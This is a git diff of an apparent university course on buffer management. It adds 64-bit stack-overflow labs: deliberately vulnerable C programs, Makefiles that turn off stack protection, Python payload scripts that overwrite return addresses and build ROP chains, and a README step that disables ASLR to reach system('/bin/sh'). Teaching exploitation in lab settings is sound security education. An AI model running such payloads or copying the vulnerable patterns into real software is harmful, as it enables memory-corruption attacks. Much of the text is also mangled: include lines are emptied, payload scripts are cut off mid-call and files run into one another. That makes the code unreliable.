a/curs/chap-09-gestiune-buffere/07-buffer-overflow/payload_local_var.py +++ /dev/null @@ -1,17 +0,0 @@ -#!/usr/bin/env python - -import os -import struct - -# Returns a byte object in little endian format. -def p32(num): - return struct.pack(" #include #include -#include -static unsigned char g_buffer[64]; +static unsigned char g_buffer[128]; static void see_beyond(void) { @@ -14,16 +14,15 @@ static void see_beyond(void) printf("gimme data: "); fgets(buffer, 32, stdin); - memcpy(g_buffer, buffer, 64); - printf("g buffer is [ "); - for (i = 0; i < 64; i++) - printf("0x%02x ", g_buffer[i]); + memcpy(g_buffer, buffer, 128); + printf("g_buffer is [\n"); + for (i = 0; i < 128; i++) + printf(" [%02zu] 0x%02x\n", i, g_buffer[i]); printf("]\n"); } int main(int argc, char **argv) { see_beyond(); - return 0; } diff --git a/curs/chap-09-gestiune-buffere/07-buffer-overflow/.gitignore b/curs/chap-09-gestiune-buffere/08-buffer-overflow/.gitignore similarity index 100% rename from curs/chap-09-gestiune-buffere/07-buffer-overflow/.gitignore rename to curs/chap-09-gestiune-buffere/08-buffer-overflow/.gitignore diff --git a/curs/chap-09-gestiune-buffere/08-buffer-overflow/Makefile b/curs/chap-09-gestiune-buffere/08-buffer-overflow/Makefile new file mode 100644 index 00000000..a87888e7 --- /dev/null +++ b/curs/chap-09-gestiune-buffere/08-buffer-overflow/Makefile @@ -0,0 +1,14 @@ +CFLAGS = -Wall -g -fno-PIC -fno-stack-protector -Wno-unused-function -Wno-unused-const-variable +LDFLAGS = -no-pie + +.PHONY: all clean + +all: vuln + +vuln: vuln.o + +vuln.o: vuln.c + +clean: + -rm -f vuln.o vuln + -rm -f *~ diff --git a/curs/chap-09-gestiune-buffere/08-buffer-overflow/README b/curs/chap-09-gestiune-buffere/08-buffer-overflow/README new file mode 100644 index 00000000..0220d88c --- /dev/null +++ b/curs/chap-09-gestiune-buffere/08-buffer-overflow/README @@ -0,0 +1,85 @@ +# 08-buffer-overflow — 64-bit stack buffer overflow + +## Build + +```bash +make +``` + +## Concepts + +`visible_func()` reads up to 128 bytes with `fgets()` into a 64-byte stack buffer — a +classic stack buffer overflow. In 64-bit mode the key differences from 32-bit are: + +| | 32-bit | 64-bit | +|---|---|---| +| Saved frame pointer | EBP (4 B) | RBP (8 B) | +| Return address | 4 bytes | 8 bytes | +| Function arguments | pushed on stack before call | RDI, RSI, RDX, … (registers) | +| Payload helper | `p32()` | `p64()` | + +## Step-by-step + +### 1. Find addresses + +```bash +make + +# Symbol addresses +nm ./vuln | grep -E "secret|puts|message" + +# Disassemble visible_func to find buffer and s offsets +objdump -d -Mintel vuln | grep -A 50 ":" +# Look for: +# mov DWORD PTR [rbp-0x?], 0x42424242 <- s is at rbp minus this offset +# lea rax, [rbp-0x?] <- &buffer[0] is at rbp minus this offset +# offset_to_ret = buffer_rbp_offset + 8 (8 = saved RBP width) +# offset_to_s = buffer_rbp_offset - s_rbp_offset +``` + +### 2. Find ROP gadgets + +```bash +# With ROPgadget (pip install ropgadget): +ROPgadget --binary vuln | grep "pop rdi" +ROPgadget --binary vuln | grep "pop rsi" + +# With objdump: +objdump -d -Mintel vuln | grep -B3 "ret$" | grep "pop" +``` + +### 3. Run the exploits + +```bash +# Overwrite local variable `s` -> print "Comm-link online." +python3 payload_local_var.py | ./vuln + +# Redirect return address -> secret_func() (no arguments needed) +python3 payload_secret_func.py | ./vuln + +# ROP chain -> puts(secret_message_addr) [first arg must go in RDI] +python3 payload_secret_message.py | ./vuln + +# ROP chain -> secret_param_func(p, q) [two args: RDI + RSI] +python3 payload_secret_param_func.py | ./vuln + +# ROP chain -> system("/bin/sh") [ASLR must be disabled] +echo 0 | sudo tee /proc/sys/kernel/randomize_va_space +python3 payload_system_sh_no_aslr.py | ./vuln +``` + +## Why you can't use the 32-bit trick for arguments + +In 32-bit you could call a function with fake arguments by placing them on the +stack immediately after the forged return address, because the callee fetches +them via `[ebp+8]`, `[ebp+12]`, etc. + +In 64-bit the callee reads arguments from **registers** (RDI, RSI, …), not +from the stack. You must use a **ROP chain** to load the registers first: + +``` +padding | pop rdi; ret | arg1 | pop rsi; ret | arg2 | target_function +``` + +Each `pop Rx; ret` gadget pops one value from the stack into a register, then +`ret` continues to the next chain link, until you finally reach the target. diff --git a/curs/chap-09-gestiune-buffere/08-buffer-overflow/payload_local_var.py b/curs/chap-09-gestiune-buffere/08-buffer-overflow/payload_local_var.py new file mode 100644 index 00000000..a78e45fc --- /dev/null +++ b/curs/chap-09-gestiune-buffere/08-buffer-overflow/payload_local_var.py @@ -0,0 +1,33 @@ +#!/usr/bin/env python3 +# SPDX-License-Identifier: BSD-3-Clause +""" +Payload: overwrite local variable `s` to trigger "Comm-link online." + +64-bit stack layout of visible_func() (example with typical GCC -O0): + [rbp - 72] buffer[64] ← fgets writes here + [rbp - 8] s (unsigned int) ← compiler pads int to 8-byte slot + [rbp] saved RBP (8 B) + [rbp + 8] return address (8 B) + +Find the exact offset on your system: + objdump -d -Mintel vuln | grep -A40 ":" + Look for: mov DWORD PTR [rbp-0x?],0x42424242 ← that is s + lea rax,[rbp-0x?] ← that is &buffer[0] + offset_to_s = buffer_rbp_offset - s_rbp_offset +""" + +import os +import struct + +def p64(num): + return struct.pack(":" +""" + +import os +import struct + +def p64(num): + return struct.pack(" +#include static const char secret_message[] = "Acknowledged H.Q."; -static const char can_do_things[] = "Let's crash"; - -static void secret_param_func(unsigned int p, unsigned int q) -{ - if (p == 0x12345678 && q == 0xabcdef01) - puts("Systems functional."); -} static void secret_func(void) { puts("Channel open."); + exit(EXIT_SUCCESS); } - static void visible_func(void) { unsigned int s = 0x42424242; diff --git a/curs/chap-09-gestiune-buffere/08-overflow-disclose/.gitignore b/curs/chap-09-gestiune-buffere/08-overflow-disclose/.gitignore deleted file mode 100644 index 5c001a70..00000000 --- a/curs/chap-09-gestiune-buffere/08-overflow-disclose/.gitignore +++ /dev/null @@ -1 +0,0 @@ -/overflow_disclosure diff --git a/curs/chap-09-gestiune-buffere/08-overflow-disclose/Makefile b/curs/chap-09-gestiune-buffere/08-overflow-disclose/Makefile deleted file mode 100644 index a2e1b8f1..00000000 --- a/curs/chap-09-gestiune-buffere/08-overflow-disclose/Makefile +++ /dev/null @@ -1,14 +0,0 @@ -CFLAGS = -Wall -g -m32 -fno-PIC -fno-stack-protector -Wno-unused-function -mpreferred-stack-boundary=2 -LDFLAGS = -m32 -no-pie - -.PHONY: all clean - -all: overflow_disclose - -overflow_disclose: overflow_disclose.o - -overflow_disclose.o: overflow_disclose.c - -clean: - -rm -f overflow_disclose overflow_disclose.o - -rm -f *~ diff --git a/curs/chap-09-gestiune-buffere/08-overflow-disclose/overflow_disclose.c b/curs/chap-09-gestiune-buffere/08-overflow-disclose/overflow_disclose.c deleted file mode 100644 index a5f0940b..00000000 --- a/curs/chap-09-gestiune-buffere/08-overflow-disclose/overflow_disclose.c +++ /dev/null @@ -1,40 +0,0 @@ -#include -#include -#include -#include - -static unsigned char g_buffer[64]; - -static void see_beyond(void) -{ - int value = 0xaabbccdd; - char buffer[32]; - size_t i; - - printf("gimme data: "); - fgets(buffer, 32, stdin); - - memcpy(g_buffer, buffer, 64); - printf("g buffer is [ "); - for (i = 0; i < 64; i++) - printf("0x%02x ", g_buffer[i]); - printf("]\n"); -} - -/* - buffer[32..35] = 0xdd 0xcc 0xbb 0xaa - buffer[36..39] = 0, probably for alignment - buffer[40..43] = EBP from main - buffer[44..47] = 0x9d 0x85 0x04 0x08 - return address, verify - = 0 old EBP - = 0x37 0x26 0x57 0xf7 = return outside main - = 0x01 0x00 0x00 0x00 = argc = 1 argument - = 0xb4 0x7a 0x9d 0xff = **argv - */ - -int main(int argc, char **argv) -{ - see_beyond(); - - return 0; -} diff --git a/curs/chap-09-gestiune-buffere/09-rop-basics/Makefile b/curs/chap-09-gestiune-buffere/09-rop-basics/Makefile new file mode 100644 index 00000000..e59f34c7 --- /dev/null +++ b/curs/chap-09-gestiune-buffere/09-rop-basics/Makefile @@ -0,0 +1,14 @@ +CFLAGS = -Wall -g -fno-PIC -fno-stack-protector -Wno-unused-function +LDFLAGS = -no-pie + +.PHONY: all clean + +all: rop_target + +rop_target: rop_target.o + +rop_target.o: rop_target.c + +clean: + -rm -f rop_target rop_target.o + -rm -f *~ diff --git a/curs/chap-09-gestiune-buffere/09-rop-basics/README.md b/curs/chap-09-gestiune-buffere/09-rop-basics/README.md new file mode 100644 index 00000000..fce9038d --- /dev/null +++ b/curs/chap-09-gestiune-buffere/09-rop-basics/README.md @@ -0,0 +1,96 @@ +# 09-rop-basics — Introduction to 64-bit ROP + +## Why this demo exists + +In **32-bit** stack overflows you could call any function with arbitrary +arguments by placing them on the stack right after the forged return address: + +``` +[padding] [func_addr] [fake_ret] [arg1] [arg2] +``` + +In **64-bit** the first six arguments go in registers (RDI, RSI, RDX, …), +not on the stack. A plain return-address redirect sets the program counter +but leaves RDI/RSI unchanged — the arguments are wrong. + +The solution is **Return-Oriented Programming (ROP)**: chain together short +instruction sequences ending in `ret` (called *gadgets*) to set registers +before jumping to the target function. + +## The vulnerable program + +`rop_target.c` has three "win" functions and one vulnerable function: + +``` +rop_target() → fgets(buf, 256, stdin) into char buf[64] (overflow!) +``` + +**offset_to_ret = 72** (64-byte buffer + 8-byte saved RBP) + +## Step-by-step + +### 0. Build + +```bash +make +``` + +### 1. Find addresses + +```bash +nm rop_target | grep win # addresses of win_noarg, win_onearg, win_twoarg +nm rop_target | grep rop_target # address of the vulnerable function (for reference) +``` + +### 2. Find ROP gadgets + +```bash +# With ROPgadget: +ROPgadget --binary rop_target | grep "pop rdi" +ROPgadget --binary rop_target | grep "pop rsi" + +# With objdump (manual gadget hunting): +objdump -d -Mintel rop_target | grep -B3 "ret$" | grep "pop" +``` + +Common gadgets emitted by GCC in `-no-pie` binaries: +- `pop rdi; ret` — appears in PLT stubs +- `pop rsi; pop r15; ret` — appears in `__libc_csu_init` + +### 3. Run the goals + +```bash +# Goal 1 — simple redirect, no arguments +python3 payload_goal1.py | ./rop_target + +# Goal 2 — one argument via pop rdi; ret +python3 payload_goal2.py | ./rop_target + +# Goal 3 — two arguments via pop rdi; ret + pop rsi; ret +python3 payload_goal3.py | ./rop_target +``` + +### 4. What to change in each script + +Edit the `PLACEHOLDER` values at the top of each Python script: +- `pop_rdi_ret` / `pop_rsi_ret` — from `ROPgadget` output +- `win_*_addr` — from `nm rop_target` + +## ROP chain visualisation (Goal 3) + +``` + Stack (high → low after overflow, rsp moving upward on ret): + ┌─────────────────────────┐ + │ 72 × 'A' (padding) │ ← fills buf[64] + saved RBP + ├─────────────────────────┤ + │ pop rdi; ret (addr) │ ← return address overwritten; CPU executes gadget + ├─────────────────────────┤ + │ 0xCAFE │ ← popped into RDI + ├─────────────────────────┤ + │ pop rsi; ret (addr) │ ← gadget ret jumps here + ├─────────────────────────┤ + │ 0xBABE │ ← popped into RSI + ├─────────────────────────┤ + │ win_twoarg (addr) │ ← final ret jumps here; RDI=0xCAFE, RSI=0xBABE + └─────────────────────────┘ +``` diff --git a/curs/chap-09-gestiune-buffere/09-rop-basics/payload_goal1.py b/curs/chap-09-gestiune-buffere/09-rop-basics/payload_goal1.py new file mode 100644 index 00000000..5e677523 --- /dev/null +++ b/curs/chap-09-gestiune-buffere/09-rop-basics/payload_goal1.py @@ -0,0 +1,27 @@ +#!/usr/bin/env python3 +# SPDX-License-Identifier: BSD-3-Clause +""" +Goal 1: redirect execution to win_noarg() — no arguments needed. + +Stack layout (from buf[0]): + 72 bytes padding (64 buf + 8 saved RBP) + win_noarg address + +Find address: + nm rop_target | grep win_noarg +""" + +import os, struct + +def p64(n): return struct.pack(" RDI = arg_a +payload += p64(arg_a) +payload += p64(win_onearg_addr) # call win_onearg(RDI) + +os.write(1, payload) diff --git a/curs/chap-09-gestiune-buffere/09-rop-basics/payload_goal3.py b/curs/chap-09-gestiune-buffere/09-rop-basics/payload_goal3.py new file mode 100644 index 00000000..bbc57223 --- /dev/null +++ b/curs/chap-09-gestiune-buffere/09-rop-basics/payload_goal3.py @@ -0,0 +1,50 @@ +#!/usr/bin/env python3 +# SPDX-License-Identifier: BSD-3-Clause +""" +Goal 3: redirect execution to win_twoarg(0xCAFE, 0xBABE). + +Two arguments need to be loaded: + RDI = 0xCAFE (1st arg) via pop rdi; ret + RSI = 0xBABE (2nd arg) via pop rsi; ret + +Note: GCC-generated binaries often have 'pop rsi; pop r15; ret' instead of +just 'pop rsi; ret'. In that case add an extra 8-byte dummy value after 0xBABE +to account for the r15 pop (see commented line below). + +ROP chain after padding: + pop_rdi_ret <- load RDI + 0xCAFE + pop_rsi_ret <- load RSI (may include extra pop r15) + 0xBABE + [0] <- dummy for r15 if gadget is "pop rsi; pop r15; ret" + win_twoarg <- call with RDI=0xCAFE, RSI=0xBABE + +Find addresses: + nm rop_target | grep win_twoarg + ROPgadget --binary rop_target | grep "pop rdi" + ROPgadget --binary rop_target | grep "pop rsi" +""" + +import os, struct + +def p64(n): return struct.pack(" RDI = arg_a +payload += p64(arg_a) +payload += p64(pop_rsi_ret) # pop rsi; ret -> RSI = arg_b +payload += p64(arg_b) +# payload += p64(0) # <- uncomment if gadget is "pop rsi; pop r15; ret" +payload += p64(win_twoarg_addr) # call win_twoarg(RDI, RSI) + +os.write(1, payload) diff --git a/curs/chap-09-gestiune-buffere/09-rop-basics/rop_target.c b/curs/chap-09-gestiune-buffere/09-rop-basics/rop_target.c new file mode 100644 index 00000000..749605a2 --- /dev/null +++ b/curs/chap-09-gestiune-buffere/09-rop-basics/rop_target.c @@ -0,0 +1,84 @@ +// SPDX-License-Identifier: BSD-3-Clause +/* + * 09-rop-basics — Introduction to 64-bit Return-Oriented Programming + * + * This demo shows WHY the 32-bit "put args after ret-addr" trick does NOT + * work in 64-bit, and HOW to replace it with a minimal ROP chain. + * + * Vulnerability: rop_target() reads up to 256 bytes into a 64-byte buffer. + * + * Goals (progressively harder): + * + * 1. Redirect execution to win_noarg() – no arguments needed + * 2. Redirect execution to win_onearg(0xCAFE) – one arg via RDI + * 3. Redirect execution to win_twoarg(0xCAFE, – two args via RDI + RSI + * 0xBABE) + * + * For goals 2 and 3 you need ROP gadgets to load registers: + * pop rdi ; ret – load first argument + * pop rsi ; ret – load second argument + * + * Find them with: + * ROPgadget --binary rop_target | grep "pop rdi" + * ROPgadget --binary rop_target | grep "pop rsi" + * objdump -d -Mintel rop_target | grep -B1 "ret$" | grep "pop" + * + * Stack layout after overflowing rop_target(): + * + * [rbp - 64] buf[64] <- overflow starts here + * [rbp] saved RBP (8 B) + * [rbp + 8] return address <- overwrite this + * + * Goal 1: ... | win_noarg_addr + * Goal 2: ... | pop_rdi_ret | 0xCAFE | win_onearg_addr + * Goal 3: ... | pop_rdi_ret | 0xCAFE | pop_rsi_ret | 0xBABE | win_twoarg_addr + * + * offset_to_ret = 64 (buffer) + 8 (saved RBP) = 72 bytes + * (verify with: objdump -d -Mintel rop_target | grep -A30 ":") + */ + +#include +#include + +void win_noarg(void) +{ + printf("[+] %s reached — nice redirect!", __func__); + exit(EXIT_SUCCESS); +} + +void win_onearg(unsigned long a) +{ + if (a == 0xCAFE) { + printf("[+] %s(0xCAFE) reached — RDI was set correctly!", __func__); + exit(EXIT_SUCCESS); + } + printf("[-] %s: got a=0x%lx, expected 0xCAFE\n", __func__, a); + exit(EXIT_FAILURE); +} + +void win_twoarg(unsigned long a, unsigned long b) +{ + if (a == 0xCAFE && b == 0xBABE) { + printf("[+] %s(0xCAFE, 0xBABE) reached — RDI and RSI were set!", __func__); + exit(EXIT_SUCCESS); + } + printf("[-] %s: got a=0x%lx b=0x%lx, expected 0xCAFE/0xBABE\n", __func__, a, b); + exit(EXIT_FAILURE); +} + +static void rop_target(void) +{ + char buf[64]; + + printf("Input: "); + fflush(stdout); + fgets(buf, 256, stdin); /* deliberate overflow */ +} + +int main(void) +{ + puts("=== 09-rop-basics: 64-bit ROP introduction ==="); + puts("Symbols (run: nm rop_target | grep win)"); + rop_target(); + return 0; +} diff --git a/curs/chap-09-gestiune-buffere/09-simple-buffer-overflow/.gitignore b/curs/chap-09-gestiune-buffere/09-simple-buffer-overflow/.gitignore deleted file mode 100644 index 4a188109..00000000 --- a/curs/chap-09-gestiune-buffere/09-simple-buffer-overflow/.gitignore +++ /dev/null @@ -1 +0,0 @@ -/vuln diff --git a/curs/chap-09-gestiune-buffere/09-simple-buffer-overflow/Makefile b/curs/chap-09-gestiune-buffere/09-simple-buffer-overflow/Makefile deleted file mode 100644 index 4302536c..00000000 --- a/curs/chap-09-gestiune-buffere/09-simple-buffer-overflow/Makefile +++ /dev/null @@ -1,14 +0,0 @@ -CFLAGS = -Wall -g -m32 -fno-PIC -fno-stack-protector -Wno-unused-function -mpreferred-stack-boundary=2 -LDFLAGS = -m32 -no-pie - -.PHONY: all clean - -all: vuln - -vuln: vuln.o - -vuln.o: vuln.c - -clean: - -rm -f vuln vuln.o - -rm -f *~ diff --git a/curs/chap-09-gestiune-buffere/09-simple-buffer-overflow/vuln.c b/curs/chap-09-gestiune-buffere/09-simple-buffer-overflow/vuln.c deleted file mode 100644 index e0a2c968..00000000 --- a/curs/chap-09-gestiune-buffere/09-simple-buffer-overflow/vuln.c +++ /dev/null @@ -1,33 +0,0 @@ -#include -#include - -static void away(int a) -{ - if (a == 1000) - exit(0); -} - -static void hidden2(void) -{ - puts("bye"); -} - -static void hidden(void) -{ - puts("gotcha"); -} - -static void reader(void) -{ - char buf[32]; - - puts("reader"); - fgets(buf, 128, stdin); -} - -int main(void) -{ - puts("main"); - reader(); - return 0; -} diff --git a/curs/chap-09-gestiune-buffere/10-binary/Makefile b/curs/chap-09-gestiune-buffere/10-binary/Makefile index dcc9eb25..c5d8c5ae 100644 --- a/curs/chap-09-gestiune-buffere/10-binary/Makefile +++ b/curs/chap-09-gestiune-buffere/10-binary/Makefile @@ -1,7 +1,7 @@ -ASM = nasm -ASM_FLAGS = -f elf32 -g -Fdwarf -CFLAGS = -Wall -m32 -fno-stack-protector -mpreferred-stack-boundary=2 -fno-PIC -LDFLAGS = -m32 -no-pie +ASM = nasm +ASM_FLAGS = -f elf64 -g -Fdwarf +CFLAGS = -Wall -fno-stack-protector -fno-PIC +LDFLAGS = -no-pie .PHONY: all clean @@ -11,6 +11,9 @@ test: test.o diggers.o test.o: test.c +diggers.o: diggers.asm + $(ASM) $(ASM_FLAGS) -o $@ $< + clean: -rm -f *~ - -rm -f test.o test + -rm -f test.o test diggers.o diff --git a/curs/chap-09-gestiune-buffere/10-binary/README.md b/curs/chap-09-gestiune-buffere/10-binary/README.md index 493ca998..dd92b922 100644 --- a/curs/chap-09-gestiune-buffere/10-binary/README.md +++ b/curs/chap-09-gestiune-buffere/10-binary/README.md @@ -1,8 +1,50 @@ +# 11-binary — 64-bit NASM assembly exercise -1. Apelați funcția alpha() din fișierul diggers.o pentru a afișa șirul Eureka! +## Goal -2. Apelați funcția beta() din fișierul diggers.o pentru a întoarce numărul 6699 +Implement the three functions in `diggers.asm` (or figure out the right +arguments to pass from `test.c`) so that the program prints: -3. Apelați funcția omega() din fișierul diggers.o pentru a afișa șirul ... - "It has finally happened!" +``` +Eureka! +ret: 6699 +It has finally happened! +``` + +## Files + +| File | Role | +|------|------| +| `test.c` | C driver that calls `alpha()`, `beta()`, `omega()` | +| `diggers.asm` | **Your 64-bit NASM implementation** | +| `Makefile` | Assembles `diggers.asm` with `nasm -f elf64`, links with `test.o` | + +## 64-bit calling convention (System V AMD64 ABI) + +| Arg position | Register | +|---|---| +| 1st | RDI / EDI | +| 2nd | RSI / ESI | +| 3rd | RDX / EDX | +| Return value | RAX / EAX | + +## Tasks + +1. **`alpha(unsigned int a)`** — call it with the right `a` to print `"Eureka!"` + - Disassemble with `objdump -d -Mintel diggers.o | grep -A20 "alpha"` + - Find the `cmp` instruction to see what value is expected. + +2. **`beta(unsigned int b)`** — call it with the right `b` to return `6699` + - Same approach: look for the `cmp` inside `beta`. + +3. **`omega(unsigned int c)`** — call it with the right `c` to print `"It has finally happened!"` + - `omega` calls `getppid()` internally. + - Pass the parent PID at runtime: use `getppid()` in `test.c`. + +## Build and run + +```bash +make +./test +``` diff --git a/curs/chap-09-gestiune-buffere/10-binary/diggers.asm b/curs/chap-09-gestiune-buffere/10-binary/diggers.asm new file mode 100644 index 00000000..0cbe2998 --- /dev/null +++ b/curs/chap-09-gestiune-buffere/10-binary/diggers.asm @@ -0,0 +1,95 @@ +; SPDX-License-Identifier: BSD-3-Clause +; diggers.asm — 64-bit x86-64 NASM exercise +; +; Implement three functions used by test.c. Each function only does +; something useful when called with the *right* argument — students must +; figure out what that argument is. +; +; 64-bit System V AMD64 ABI calling convention (Linux): +; Arguments : RDI (1st), RSI (2nd), RDX (3rd), RCX (4th), R8 (5th), R9 (6th) +; Return value: RAX +; Caller-saved: RAX, RCX, RDX, RSI, RDI, R8-R11 +; Callee-saved: RBX, RBP, R12-R15 +; Stack must be 16-byte aligned before a CALL instruction. +; +; Functions to implement: +; void alpha(unsigned int a) – prints "Eureka!" when a == 0x5397 +; unsigned int beta (unsigned int b) – returns 6699 when b == 144 +; void omega(unsigned int c) – prints "It has finally happened!" +; when c == getppid() +; +; Compile: nasm -f elf64 -g -Fdwarf -o diggers.o diggers.asm +; Link: gcc -no-pie -fno-PIC test.o diggers.o -o test + +global alpha, beta, omega + +extern puts +extern getppid + +section .rodata + eureka_msg db "Eureka!", 0 + happened_msg db "It has finally happened!", 0 + +section .text + +; ─── alpha(unsigned int a) ──────────────────────────────────────────────────── +; First argument arrives in EDI (lower 32 bits of RDI). +; Prints "Eureka!" only if a == 0x5397. +alpha: + push rbp + mov rbp, rsp + ; sub rsp, 0 ; no locals needed + + cmp edi, 0x5397 ; check magic value + jne .alpha_done + + lea rdi, [rel eureka_msg] + call puts ; puts("Eureka!") + +.alpha_done: + pop rbp + ret + +; ─── beta(unsigned int b) ───────────────────────────────────────────────────── +; First argument arrives in EDI. +; Returns 6699 in EAX if b == 144, otherwise returns 0. +beta: + push rbp + mov rbp, rsp + + xor eax, eax ; default return value: 0 + cmp edi, 144 ; check magic value + jne .beta_done + + mov eax, 6699 ; return 6699 + +.beta_done: + pop rbp + ret + +; ─── omega(unsigned int c) ─────────────────────────────────────────────────── +; First argument arrives in EDI. +; Prints "It has finally happened!" if c equals the parent process PID. +; +; getppid() is a system call that returns the parent PID in EAX. +; We save our argument on the stack before calling getppid() because +; the call is allowed to clobber RDI. +omega: + push rbp + mov rbp, rsp + sub rsp, 16 ; reserve 16 bytes (maintain 16-byte alignment) + + mov dword [rbp - 4], edi ; save argument c on the stack + + call getppid ; EAX = parent PID + + cmp eax, dword [rbp - 4] ; compare parent PID with c + jne .omega_done + + lea rdi, [rel happened_msg] + call puts ; puts("It has finally happened!") + +.omega_done: + add rsp, 16 + pop rbp + ret diff --git a/curs/chap-09-gestiune-buffere/10-binary/funcs.h b/curs/chap-09-gestiune-buffere/10-binary/funcs.h new file mode 100644 index 00000000..0199d34e --- /dev/null +++ b/curs/chap-09-gestiune-buffere/10-binary/funcs.h @@ -0,0 +1,4 @@ +/* SPDX-License-Identifier: BSD-3-Clause */ +void alpha(unsigned int a); +unsigned int beta(unsigned int b); +void omega(unsigned int c); diff --git a/curs/chap-09-gestiune-buffere/10-binary/results.txt b/curs/chap-09-gestiune-buffere/10-binary/results.txt index 59a8cf7f..dd851de9 100644 --- a/curs/chap-09-gestiune-buffere/10-binary/results.txt +++ b/curs/chap-09-gestiune-buffere/10-binary/results.txt @@ -1,8 +1,8 @@ alpha(0x5397) beta(144) -echo $$ in shell, pass that number to omega(), or use getppid() +echo $$ in shell, pass that number to omega(), or use getppid() -Expected OUTPUT: +Expected OUTPUT: Eureka! ret: 6699 It has finally happened! diff --git a/curs/chap-09-gestiune-buffere/10-binary/test.c b/curs/chap-09-gestiune-buffere/10-binary/test.c index 9f690795..400390f3 100644 --- a/curs/chap-09-gestiune-buffere/10-binary/test.c +++ b/curs/chap-09-gestiune-buffere/10-binary/test.c @@ -1,17 +1,30 @@ +// SPDX-License-Identifier: BSD-3-Clause #include +#include /* getppid() */ -void alpha(unsigned int a); -unsigned int beta(unsigned int b); -void omega(unsigned int c); - +#include "funcs.h" +/* + * TODO: change the argument values below so that the program produces: + * + * Eureka! + * ret: 6699 + * It has finally happened! + * + * Hints + * ----- + * - Disassemble diggers.o with: objdump -d -Mintel diggers.o + * and look at the cmp instructions inside each function. + * - For omega(), the argument must equal the parent process PID. + * Use getppid() from to obtain it at runtime. + */ int main(void) { unsigned int ret; - alpha(0); - ret = beta(0); + alpha(0); /* <-- fix the argument */ + ret = beta(0); /* <-- fix the argument */ printf("ret: %u\n", ret); - omega(0); + omega(0); /* <-- fix the argument */ return 0; } diff --git a/curs/chap-09-gestiune-buffere/11-overflow-canary/Makefile b/curs/chap-09-gestiune-buffere/11-overflow-canary/Makefile deleted file mode 100644 index ef39ff11..00000000 --- a/curs/chap-09-gestiune-buffere/11-overflow-canary/Makefile +++ /dev/null @@ -1,26 +0,0 @@ -FILES = overflow_example.c auth_overflow.c -CFLAGS_CANARY = -m32 -fno-pie -g -Fdwarf -fstack-protector -CFLAGS_NOCANARY = -m32 -fno-pie -g -Fdwarf #-fno-stack-protector -CFLAGS_PIE = -m32 -g -Fdwarf -fstack-protector - -all : overflow_example canary nocanary pie - -canary: auth_overflow.c - gcc $(CFLAGS_CANARY) -S -masm=intel -o canary.s $< - gcc $(CFLAGS_CANARY) -masm=intel -Wa,-adhln $< > canary.lst - gcc $(CFLAGS_CANARY) -o canary $< - -pie: auth_overflow.c - gcc $(CFLAGS_PIE) -o pie $< - -nocanary: auth_overflow.c - gcc $(CFLAGS_NOCANARY) -S -masm=intel -o nocanary.s $< - gcc $(CFLAGS_NOCANARY) -masm=intel -Wa,-adhln $< > nocanary.lst - gcc $(CFLAGS_NOCANARY) -o nocanary $< - -overflow_example: overflow_example.c - gcc -m32 -g -Fdwarf -fno-pie -fno-stack-protector -o overflow_example overflow_example.c - -clean: - rm -f *.s *.lst canary nocanary overflow_example a.out pie - rm -f *~ diff --git a/curs/chap-09-gestiune-buffere/11-overflow-canary/auth_overflow.c b/curs/chap-09-gestiune-buffere/11-overflow-canary/auth_overflow.c deleted file mode 100644 index 926a953c..00000000 --- a/curs/chap-09-gestiune-buffere/11-overflow-canary/auth_overflow.c +++ /dev/null @@ -1,65 +0,0 @@ -/* -echo 0 > /proc/sys/kernel/randomize_va_space - -se compilează fără optimizări -O2, și fără canar: -gcc -m32 -g -Fdwarf -fno-stack-protector -o nocanary auth_overflow.c -- se testează diverse parole - -3 demo-uri: - -1. MODIFICARE BINAR nocanary -- cp nocanary nocanary.orig -- se caută adresa funcției check_authentication cu nm ./a.out => 0x4DD -- in radare/biew se identifica in funcție zona critica a testului (la 0x52F) -- se suprascrie cu NOP-uri (0x90) pentru a returna mereu 1 -- Victorie: binarul obținut acceptă orice parolă! - -2. OVERFLOW nocanary peste variabila auth_flag -- se pasează o parolă de 17 caractere! - -3. STACK CANARY -opțiunea -fno-stack-protector dezactivează canarul - -se compară canary.s cu nocanary.s pentru a vedea implementarea canarului -se compară canary.lst cu nocanary.lst pentru a vedea implementarea canarului -se rulează canary și nocanary cu parole sub și peste 17 caactere - -4. OPȚIUNEA pie -se rulează succesiv pentru a observa adresele .data și .stack care au valori mereu altele -*/ - -#include -#include -#include - -char brillig[] = "brillig", - outgrabe[] = "outgrabe"; - -int check_authentication(char *password) -{ - int auth_flag = 0; - char password_buffer[16]; - printf(".data address = %x; stack_address = %x\n", &brillig, &password_buffer); - - strcpy(password_buffer, password); - if(strcmp(password_buffer, brillig) == 0) - auth_flag = 1; - if(strcmp(password_buffer, outgrabe) == 0) - auth_flag = 1; - return auth_flag; -} - -int main(int argc, char *argv[]) -{ - if(argc < 2) { - printf("Usage: %s \n", argv[0]); - exit(0); - } - if(check_authentication(argv[1])) { - printf("\n-=-=-=-=-=-=-=-=-=-=-=-=-=-\n"); - printf(" Access Granted.\n"); - printf("-=-=-=-=-=-=-=-=-=-=-=-=-=-\n"); - } else { - printf("\nAccess Denied.\n"); - } -} diff --git a/curs/chap-09-gestiune-buffere/11-overflow-canary/overflow_example.c b/curs/chap-09-gestiune-buffere/11-overflow-canary/overflow_example.c deleted file mode 100644 index 41791aa5..00000000 --- a/curs/chap-09-gestiune-buffere/11-overflow-canary/overflow_example.c +++ /dev/null @@ -1,31 +0,0 @@ -/* - -- se compilează fără protecția stivei - gcc -m32 -g -Fdwarf -fno-stack-protector overflow_example.c -- se observă ordinea pe stivă -- se rulează cu arg1 din ce în ce înce mai lung - după 8 se varsă în buffer_one -- după 16 caractere, variabila value e afectată: mai intâi 0 (end of string), apoi caracterul 17 - - */ -#include -#include - -int main(int argc, char *argv[]) -{ - int value = 5; - char buffer_one[8], buffer_two[8]; - strcpy(buffer_one, "one"); /* Put "one" into buffer_one. */ - strcpy(buffer_two, "two"); /* Put "two" into buffer_two. */ - - printf("[BEFORE] buffer_two is at %p and contains \'%s\'\n", buffer_two, buffer_two); - printf("[BEFORE] buffer_one is at %p and contains \'%s\'\n", buffer_one, buffer_one); - printf("[BEFORE] value is at %p and is %d (0x%08x)\n", &value, value, value); - printf("\n[STRCPY] copying %d bytes into buffer_two\n\n", (unsigned int)strlen(argv[1])); - - strcpy(buffer_two, argv[1]); /* Copy first argument into buffer_two. */ - - printf("[AFTER] buffer_two is at %p and contains \'%s\'\n", buffer_two, buffer_two); - printf("[AFTER] buffer_one is at %p and contains \'%s\'\n", buffer_one, buffer_one); - printf("[AFTER] value is at %p and is %d (0x%08x)\n", &value, value, value); -} - diff --git a/curs/chap-09-gestiune-buffere/11-overflow-canary/.gitignore 